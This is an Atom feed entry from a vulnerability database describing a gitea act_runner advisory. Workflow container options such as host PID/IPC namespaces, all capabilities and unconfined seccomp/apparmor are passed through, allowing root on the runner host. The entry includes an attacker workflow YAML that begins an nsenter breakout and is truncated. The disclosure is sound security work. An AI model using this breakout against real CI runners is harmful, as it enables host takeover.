<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-11T13:44:18.219620+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-x4q3-gcj3-m6cf</id>
    <title>GHSA-x4q3-gcj3-m6cf — gitea-runner: workflow container.options passes host namespaces and capability flags to job container when privileged m…</title>
    <updated>2026-10-11T13:44:18.232787+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: gitea.com/gitea/runner</p>
<p>### Summary
act_runner appends workflow-controlled `jobs.&lt;job&gt;.container.options` directly 
to the Docker HostConfig for the job container. When runner privileged mode is 
disabled, only `Privileged` is forced false. Host namespace flags, capability 
expansion, and security profile overrides from workflow YAML are preserved in 
the final HostConfig. A workflow author can enter host PID/IPC namespaces and 
execute commands on the runner host as root.</p>
<p>### Details
Source-to-sink path in act_runner:</p>
<p>- `ContainerSpec.Options` accepts workflow YAML `container.options`
- `RunContext.options()` appends workflow options to runner-level container options
- Job container is created with `Privileged: rc.Config.Privileged` but also 
  with `Options: rc.options(ctx)`
- `mergeContainerConfigs()` parses Docker CLI-style options into HostConfig
- When privileged mode is disabled, only `copts.privileged` is forced false
- `sanitizeConfig()` only filters `Binds` and `Mounts`
- Preserved dangerous HostConfig fields:</p>
<p>```text
Privileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
```</p>
<p>Attacker workflow YAML:
```yaml
jobs:
  breakout:
    runs-on: ubuntu-latest
    container:
      image: ubuntu:22.04
      options: &gt;-
        --pid=host --ipc=host --cap-add=ALL 
        --security-opt seccomp=unconfined 
        --security-opt apparmor=unconfined
    steps:
      - name: host namespace marker
        run: |
          nsenter -t 1 -m -…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-x4q3-gcj3-m6cf"/>
  </entry>
</feed>
